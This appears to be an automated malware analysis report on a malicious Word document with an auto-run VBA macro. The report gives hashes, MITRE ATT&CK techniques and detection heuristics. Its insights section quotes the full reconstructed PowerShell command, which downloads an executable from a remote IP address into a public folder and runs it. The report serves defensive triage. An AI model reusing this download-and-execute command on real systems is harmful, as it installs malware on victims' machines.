Office (OLE) / .DOC malware analysis — malicious · b0e98d65cf92796a

MALICIOUS

Office (OLE) / .DOC

629.0 KB Created: 2021-09-22 22:59:00 Authoring application: Microsoft Office Word

MD5: 8219667d7dc623da19e8c94bed993241 SHA-1: a8c3a4be0ce6ee88f8a76f6ee9b59e021b826023 SHA-256: b0e98d65cf92796ab3dce263fc80e0979645e77a012e6fe7197559fcd949cc9f

182 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The sample is a malicious Word document containing a VBA macro that executes upon opening. The macro reconstructs the command 'powershell -w hidden -Sle 31;Start-BitsTransfer -Source http://52.58.97.51/T67/F2/Product_Specifications_Details_723312_RFQ.exe -Destination C:\Users\Public\Documents\conditionhair.exe;C:\Users\Public\Documents\conditionhair.exe' and writes it to 'C:\Users\Public\Documents\behaviorstart.cmd'. It then executes this command file using 'shell.application', which downloads a second-stage executable from the specified URL to 'C:\Users\Public\Documents\conditionhair.exe' and subsequently executes it.

Heuristics 6

Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `c4d6055f92659df03c94eb9def970741dc99d2d3a4b80ad7c21ea47720152f5d`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	871 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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